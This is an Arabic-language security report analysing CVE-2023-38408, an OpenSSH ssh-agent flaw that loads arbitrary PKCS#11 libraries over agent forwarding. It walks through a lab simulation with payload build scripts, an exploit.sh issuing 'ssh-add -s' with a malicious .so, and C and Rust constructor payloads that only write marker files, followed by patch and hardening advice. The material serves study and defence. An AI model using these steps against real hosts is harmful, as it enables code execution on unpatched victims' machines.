
تحليل متعمق لـ CVE 2023 38408، وهي ثغرة أمنية خطيرة في OpenSSH، بما في ذلك الخلفية التقنية، والاستغلال في بيئات محكومة، واستراتيجيات التخفيف.
الغرض من هذا التقرير هو تحليل ثغرة CVE-2023-38408، وهي ثغرة حرجة تم اكتشافها في OpenSSH في العالم الحقيقي، من خلال الفهم النظري والمحاكاة العملية. يشرح التقرير الأسس التقنية للثغرة، ويوضح كيفية استغلالها في بيئات خاضعة للتحكم، ويدرس الإجراءات التخفيفية المطبقة.
فهم الثغرات الأمنية في العالم الحقيقي من خلال المحاكاة العملية لا يساعد فقط في حماية الأنظمة بل يعزز أيضًا وعي المطورين ومسؤولي الأنظمة بأساليب الهجوم المحتملة. يسد تحليل هذه الثغرات الفجوة بين النظرية والتنفيذ الأمني العملي.
CVE-2023-38408 هي ثغرة تؤثر على ssh-agent في OpenSSH عند تفعيل دعم PKCS#11. تسمح بتنفيذ تعليمات برمجية عن بُعد على جهاز العميل إذا اتصل المستخدم بخادم مخترق مع تفعيل إعادة توجيه الوكيل (ssh -A). لهذه الثغرة آثار خطيرة على أي نظام يعتمد على OpenSSH في المصادقة الآمنة.
SSH (Secure Shell) هو بروتوكول شبكة تشفيري يُستخدم للاتصال الآمن عبر الشبكات غير الآمنة. يوفر قنوات مشفرة لتسجيل الدخول عن بُعد، وتنفيذ الأوامر، ونقل الملفات، والمزيد.```mermaid graph LR A[SSH Client] -->|Encrypted Connection| B[SSH Server] A -->|Authentication| C[ssh-agent] C -->|Private Keys| D[Key Store] B -->|Agent Forwarding| E[Remote ssh-agent Proxy]
### 2.2 ما هو ssh-agent
`ssh-agent` هو عملية خلفية تخزّن مفاتيح SSH الخاصة غير المشفّرة في الذاكرة، مما يتيح لك استخدامها دون الحاجة إلى إعادة إدخال كلمات المرور في كل مرة تتصل فيها بنظام بعيد.
#### إعادة توجيه الوكيل (ssh -A)
تسمح إعادة توجيه الوكيل لنظام بعيد بالوصول إلى `ssh-agent` المحلي لديك عبر مقبس مجال يونكس. هذا الأمر مفيد لربط اتصالات SSH ولكنّه ينطوي على مخاطر أمنية كبيرة إذا تم اختراق الجهاز البعيد.```mermaid
sequenceDiagram
participant Client as SSH Client
participant Agent as ssh-agent
participant Server as Remote Server
participant Proxy as Agent Proxy
Client->>Agent: Start agent
Client->>Server: ssh -A user@server
Server->>Proxy: Create proxy socket
Note over Server,Proxy: SSH_AUTH_SOCK=/tmp/ssh-xxx/agent.xxx
Server->>Proxy: ssh-add request
Proxy->>Client: Forward request
Client->>Agent: Process request
Agent->>Client: Response
Client->>Proxy: Forward response
Proxy->>Server: Final response
من الناحية التقنية، عند استخدام ssh -A، يقوم عميل SSH بإعداد مأخذ توصيل نطاق يونكس (Unix domain socket) على الخادم البعيد يعمل كـ وكيل لـ ssh-agent المحلي لديك. يتم تعيين متغير البيئة SSH_AUTH_SOCK ليشير إلى هذا المأخذ الوكيل. يتم إعادة توجيه أي استدعاءات تُجرى على SSH_AUTH_SOCK على الخادم البعيد مرة أخرى عبر اتصال SSH ومعالجتها بواسطة ssh-agent المحلي لديك.
PKCS#11 هي واجهة برمجة تطبيقات قياسية للتفاعل مع الرموز التشفيرية، مثل البطاقات الذكية أو YubiKeys أو وحدات أمان العتاد الافتراضية (HSMs).
يدعم ssh-agent الخاص بـ OpenSSH تحميل موفري PKCS#11 (مكتبات .so مشتركة) باستخدام الأمر ssh-add -s /path/to/provider.so. تسمح هذه المكتبات للوكيل بالتفاعل مع الوحدات الآمنة (عتادية أو برمجية) لاستخدام المفاتيح الخاصة دون تعريضها مباشرة.
في الخلفية، عند استدعاء ssh-add -s، يقوم بما يلي:
.so ديناميكيًا في الذاكرة باستخدام dlopen().C_Initialize() و C_GetSlotList() و C_FindObjects() و C_Sign() عبر واجهة برمجة تطبيقات PKCS#11.تنبع الثغرة من قيام ssh-agent بتحميل أي ملف كائن مشترك (.so) يتم توفيره عبر ssh-add -s، دون التحقق مما إذا كان موفرًا شرعيًا لـ PKCS#11.```mermaid
graph TD
A[Attacker sends ssh-add -s malicious.so] --> B[Request forwarded to victim's ssh-agent]
B --> C[ssh-agent calls dlopen on malicious.so]
C --> D[Constructor function executes immediately]
D --> E[Arbitrary code runs on victim machine]
### 3.3 تحليل تدفق الهجوم```mermaid
sequenceDiagram
participant V as Victim
participant A as Attacker
participant Agent as ssh-agent
participant Lib as Malicious .so
V->>A: ssh -A attacker@host
Note over V,A: Agent forwarding enabled
A->>Agent: ssh-add -s /path/to/malicious.so
Agent->>Lib: dlopen("/path/to/malicious.so")
Note over Lib: Constructor executes
Lib->>V: Malicious code runs
Note over V: System compromised
على أدنى مستوى، يتضمن تسلسل الأحداث ما يلي:
ssh-add -s /path/to/lib.sodlopen("/path/to/lib.so", RTLD_NOW).so يحتوي على دالة بناء (__attribute__((constructor))), فإنها تُنَفَّذ فورًا عند التحميللإظهار هذه الثغرة في بيئة محكومة، تم إجراء محاكاة شاملة باستخدام حسابات مستخدمين وأجهزة طرفية متعددة.
sudo adduser victim sudo adduser attacker
#### إعداد مفتاح SSH لتوجيه الوكيل```bash
# As victim user
ssh-keygen -t rsa -f ~/.ssh/id_rsa -N ""
ssh-copy-id attacker@localhost
new-connection.sh)```bash#!/bin/bash
eval $(ssh-agent -k) > /dev/null 2>&1
eval $(ssh-agent -s) ssh-add ~/.ssh/id_rsa
ssh -A attacker@localhost
#### منشئ الحمولة الضارة للمهاجم (`build-evil.sh`)```bash
#!/bin/bash
set -e
C_SRC="evil.c"
RUST_DIR="rust_evil"
OUTPUT_PATH="/usr/lib/x86_64-linux-gnu/pkcs11/evil.so"
function build_c() {
sudo gcc -fPIC -shared -o "$OUTPUT_PATH" "$C_SRC"
echo "C payload built at $OUTPUT_PATH"
}
function build_rust() {
cd "$RUST_DIR"
cargo build --release
cd -
SO_FILE=$(find "$RUST_DIR/target/release" -name "lib*.so" | head -n 1)
sudo cp "$SO_FILE" "$OUTPUT_PATH"
rm -rf "$RUST_DIR/target"
echo "Rust payload built at $OUTPUT_PATH"
}
case "$1" in
--c) build_c ;;
--rust) build_rust ;;
*) echo "Usage: $0 --c | --rust" && exit 1 ;;
esac
exploit.sh)```bash#!/bin/bash
export SSH_AUTH_SOCK=$(echo /tmp/ssh-/agent.)
ssh-add -s /usr/lib/x86_64-linux-gnu/pkcs11/evil.so
### 4.3 نتائج المحاكاة وتحليلها
#### السلوك المتوقع في الأنظمة القابلة للاستغلال
| **الإجراء** | **استجابة النظام القابل للاستغلال** | **استجابة النظام المُصحَّح** |
| ------------------------- | ----------------------------------- | --------------------------- |
| `ssh-add -s malicious.so` | تحميل المكتبة، تنفيذ المنشئ (constructor) | `agent refused operation` |
| تنفيذ الحمولة (Payload) | إنشاء `/tmp/exploit.log` | لا تنفيذ |
| تأثير النظام | تنفيذ تعليمات برمجية عن بُعد | لا تأثير |
#### مخرجات المحاكاة الفعلية
عند تشغيل المحاكاة على نظام مُصحَّح (OpenSSH 9.3p2+):```
Enter passphrase for PKCS#11:
Could not add card "/.../evil.so": agent refused operation
ملاحظة رئيسية: على الرغم من أن الوكيل يرفض العملية في الإصدارات المصححة، إلا أن هذه المحاكاة توضح ناقل الهجوم وتساعد في فهم تأثير الثغرة في الإصدارات القديمة.
// evil.c - Example malicious PKCS#11 library #include <stdlib.h> #include <stdio.h>
attribute((constructor)) void malicious_constructor() { // This executes immediately when dlopen() is called system("echo 'Exploit triggered' > /tmp/exploit.log"); system("touch ~/exploit.txt"); // In a real attack, this could download and execute additional payloads }
// Minimal PKCS#11 function to make it appear legitimate void C_Initialize() { return; }
#### بديل مبني على Rust
استخدام crate `ctor` لدوال البناء:```rust
// Cargo.toml
[dependencies]
ctor = "0.1"
// lib.rs
use ctor::ctor;
use std::process::Command;
#[ctor]
fn malicious_constructor() {
Command::new("sh")
.arg("-c")
.arg("echo 'Rust exploit triggered' > /tmp/exploit.log")
.output()
.expect("Failed to execute command");
}
توجد الثغرة بسبب عدة قرارات تصميمية في تنفيذ ssh-agent الخاص بـ OpenSSH:
graph TB A[ssh-agent process] --> B[dlopen system call] B --> C[Load malicious.so into memory] C --> D[Execute constructor function] D --> E[Arbitrary code execution] D --> F[Spawn child processes] D --> G[File system modifications] D --> H[Network connections]
### 5.3 رسم سطح الهجوم
| **ناقل الهجوم** | **المتطلبات** | **مستوى التأثير** | **صعوبة الكشف** |
| ------------------------ | --------------------------------- | ----------------- | --------------- |
| توجيه الوكيل | `ssh -A` مُمكّن | حرج | منخفضة |
| ملف .so خبيث | الوصول إلى نظام الملفات | حرج | متوسطة |
| الهندسة الاجتماعية | تفاعل المستخدم | عالي | عالية |
| سلسلة التوريد | مزود PKCS#11 المُخترق | حرج | عالية جداً |
---
## 6. الإصلاح والتخفيف
### 6.1 كيف تم إصلاحه في OpenSSH 9.3p2
عالج OpenSSH 9.3p2 هذه الثغرة من خلال تقديم سلوك افتراضي آمن:
| **الإجراء الأمني** | **التنفيذ** | **التأثير** |
| ----------------------- | ----------------------------------- | ---------------------------------- |
| التعطيل الافتراضي | دعم PKCS#11 معطل افتراضيًا | يقلل سطح الهجوم |
| التمكين الصريح | يتطلب علامة `-O allow-pkcs11` | موافقة المستخدم مطلوبة |
| التحقق | تحقق مكتبة مُحسّن | يمنع تنفيذ التعليمات البرمجية التعسفية |
#### تغييرات التهيئة```bash
# Old behavior (vulnerable)
ssh-agent # PKCS#11 enabled by default
# New behavior (secure)
ssh-agent -O allow-pkcs11 # Explicit opt-in required
flowchart TD A[ssh-add -s request] --> B{PKCS#11 allowed?} B -->|No| C[Agent refused operation] B -->|Yes| D{Valid PKCS#11 library?} D -->|No| E[Validation failed] D -->|Yes| F[Load library safely]
### 6.3 استراتيجيات التخفيف الشاملة
#### إجراءات فورية
| **الأولوية** | **الإجراء** | **التنفيذ** |
| ------------ | ------------------------ | --------------------------------------------------------- |
| عالية | ترقية OpenSSH | `apt update && apt upgrade openssh-client openssh-server` |
| عالية | تعطيل توجيه الوكيل | `ssh -o ForwardAgent=no` |
| متوسطة | تدقيق تكوينات SSH | مراجعة `/etc/ssh/ssh_config` |
| متوسطة | مراقبة استخدام الوكيل | تسجيل أنشطة ssh-agent |
#### إجراءات أمنية طويلة المدى
1. **تعزيز تكوين SSH** ```
# /etc/ssh/ssh_config
ForwardAgent no
HashKnownHosts yes
VerifyHostKeyDNS yes
تقسيم الشبكة ```mermaid graph LR A[Trusted Network] --> B[Jump Host] B --> C[DMZ] C --> D[Production Network]
Note1[No agent forwarding beyond Jump Host] Note2[Separate credentials for each zone]
المراقبة والكشف ```bash
ps aux | grep ssh-agent
lsof -p $(pgrep ssh-agent) | grep '.so$'
auditctl -w /tmp -p w -k ssh_agent_monitor
يُظهر CVE-2023-38408 ثغرة أمنية حرجة استغلت علاقة الثقة بين عملاء SSH والوكلاء. من خلال المحاكاة العملية، تبرز عدة رؤى رئيسية:
يوفر تحليل الثغرة هذا، المعزز بالمحاكاة العملية، عدة دروس حرجة:
mindmap root((Security Evolution)) Modern Threats Supply Chain Attacks Zero-Trust Architecture Container Security SSH Security Certificate-based Auth Hardware Security Modules Multi-factor Authentication Organizational Measures Security Training Incident Response Continuous Monitoring
### 7.5 التوصيات النهائية
بناءً على التحليل الشامل ونتائج المحاكاة:
1. **فوري**: ترقية جميع تثبيتات OpenSSH إلى الإصدار 9.3p2 أو أحدث
2. **قصير المدى**: تنفيذ سياسات صارمة لتوجيه الوكيل ومراقبته
3. **طويل المدى**: اعتماد بنية شبكة الثقة الصفرية والمصادقة القائمة على الشهادات
4. **مستمر**: الحفاظ على برامج التعليم الأمني المستمر وتقييم الثغرات
**الخلاصة الرئيسية**: تعد CVE-2023-38408 تذكيرًا قويًا بأن ميزات الراحة مثل توجيه الوكيل يمكن أن تتحول إلى ثغرات أمنية حرجة عندما لا يتم تنفيذها بشكل صحيح. يوفر الجمع بين الفهم النظري والمحاكاة العملية الأساس لبناء دفاعات قوية ضد هجمات مماثلة في المستقبل.
من خلال هذا التحليل الشامل، يمكن لمتخصصي الأمن فهم العلاقات المعقدة بين مكونات SSH بشكل أفضل وتنفيذ الضمانات المناسبة لحماية بنيتهم التحتية من ثغرات مماثلة.
| تفاصيل CVE | المعلومات |
|---|
| معرف CVE | CVE-2023-38408 |
| درجة CVSS | 9.8 (حرجة) |
| الإصدارات المتأثرة | OpenSSH < 9.3p2 |
| ناقل الهجوم | شبكة |
| الامتيازات المطلوبة | لا شيء |
| تفاعل المستخدم | مطلوب |
| التأثير | اختراق كامل للنظام |
| دالة PKCS#11 | الغرض | مستوى المخاطرة |
|---|
C_Initialize() | تهيئة المكتبة | منخفض |
C_GetSlotList() | سرد الفتحات المتاحة | منخفض |
C_FindObjects() | إيجاد الكائنات التشفيرية | متوسط |
C_Sign() | توقيع البيانات | مرتفع |
dlopen() | تحميل المكتبة المشتركة | حرج |
| السمة | التفاصيل |
|---|
| المعرف | CVE-2023-38408 |
| الشدة | عالية (CVSS 9.8) |
| الجدول الزمني | تم الكشف عنها يوليو 2023، أُصلحت في OpenSSH 9.3p2 |
| البرنامج المتأثر | إصدارات OpenSSH قبل 9.3p2 التي تدعم PKCS#11 |
| تعقيد الهجوم | منخفضة |
| ناقل الهجوم | شبكة عبر إعادة توجيه وكيل SSH |
| الخطوة | الإجراء | التأثير |
|---|
| 1 | يقوم المستخدم بتشغيل ssh -A user@attacker-host | تم تمكين إعادة توجيه الوكيل |
| 2 | يقوم المهاجم بإعداد malicious.so | الحمولة جاهزة |
| 3 | يقوم المهاجم بتنفيذ ssh-add -s /tmp/malicious.so | يتم إرسال الطلب إلى وكيل الضحية |
| 4 | يقوم الوكيل بتحميل المكتبة الضارة | يتم تنفيذ دالة البناء |
| 5 | يتم تشغيل التعليمات البرمجية الضارة | تم تحقيق تنفيذ التعليمات البرمجية عن بُعد |
| المكون | التكوين | الغرض |
|---|
| الطرفية 1 | مستخدم victim | عميل SSH (الهدف) |
| الطرفية 2 | مستخدم attacker | خادم SSH (المهاجم) |
| مفاتيح SSH | RSA 2048-bit | المصادقة بدون كلمات مرور |
| ملفات الاختبار | برامج شل نصية متنوعة | الأتمتة وتسليم الحمولة |
| المشكلة التصميمية | الوصف | التأثير |
|---|
| Unrestricted dlopen() | لا يوجد تحقق من صحة ملفات .so | يسمح بتنفيذ تعليمات برمجية عشوائية |
| تنفيذ المُنشئ (Constructor) | يتم تشغيل الكود قبل التحقق من PKCS#11 | اختراق فوري |
| ثقة إعادة توجيه الوكيل (Agent forwarding trust) | لا يوجد مصادقة للطلبات المُعاد توجيهها | إمكانية الاستغلال عن بُعد |
| دعم PKCS#11 الافتراضي | الميزة مُفعّلة افتراضيًا | سطح هجوم أوسع |
| مجال السياسة | المتطلب | طريقة التحقق |
|---|
| استخدام وكيل SSH | موافقة موثقة مطلوبة | تدقيق الامتثال للسياسة |
| إعادة توجيه الوكيل | محظور على المضيفين غير الموثوقين | مراقبة الشبكة |
| مكتبات PKCS#11 | قائمة بيضاء للمزودين المعتمدين | مراقبة سلامة الملفات |
| إدارة الإصدارات | إلزامية OpenSSH 9.3p2+ | مسح الثغرات الآلي |
| فئة التأثير | الخطورة | الوصف |
|---|
| السرية | حرجة | وصول كامل إلى المواد التشفيرية للمستخدم |
| السلامة | حرجة | القدرة على تعديل ملفات النظام والتكوينات |
| التوفر | عالية | احتمالية تعطيل النظام أو رفض الخدمة |
| المصادقة | حرجة | اختراق آليات مصادقة SSH |